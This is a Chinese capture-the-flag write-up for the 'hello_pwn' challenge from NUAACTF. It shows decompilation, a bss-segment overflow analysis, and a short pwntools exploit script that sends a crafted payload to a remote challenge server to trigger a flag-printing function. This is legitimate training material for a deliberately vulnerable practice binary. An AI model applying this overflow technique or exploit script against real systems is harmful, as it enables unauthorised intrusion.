攻防世界 hello_pwn
📅9/1/2021, 12:00:00 AM
题目
题目来源: NUAACTF
题目描述:pwn!,segment fault!菜鸡陷入了深思
审题
- segment fault
和段有关。
题解
checksec
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
逆向
main
__int64 __fastcall main(int a1, char **a2, char **a3)
{
alarm(0x3Cu);
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
read(0, &unk_601068, 16uLL);
if ( dword_60106C == 'nuaa' )
sub_400686();
return 0LL;
}
-
用户输入的内容储存为
unk_601068
。 -
dword_60106C
等于”nuaa“时,执行函数sub_400686
。
sub400686
__int64 sub_400686()
{
system("cat flag.txt");
return 0LL;
}
执行此函数即可得到 Flag。
二进制分析
bss 段溢出
.bss:0000000000601068 unk_601068 db ? ; ; DATA XREF: main+3B↑o
.bss:0000000000601069 db ? ;
.bss:000000000060106A db ? ;
.bss:000000000060106B db ? ;
.bss:000000000060106C dword_60106C dd ? ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss ends
unk_601068
和dword_60106C
同在 bss 段中,可构造 payload 实现 bss 段溢出攻击。
选中unk_601068
的区域,右键,复制大小。
其容量为4,需要写4个字符的内容来将其填充满,再写入dword_60106C
所需要的内容。
checksec 阶段得知本程序是小端架构,所以需要将”nuaa“倒序。
payload:@@@@aaun
Exp
from pwn import *
def main():
io = remote('111.200.241.244', 64589)
payload = '@'*4 + 'aaun'
io.sendline(payload.encode())
print(io.recvall().decode())
if __name__ == '__main__':
main()
总结
- 通过简单逆向了解程序工作流程。
- 发现得到 Flag 需要满足特定条件。
- 通过 bss 段溢出达成条件。
This
post
by Yingjie Shang is licensed under
CC BY 4.0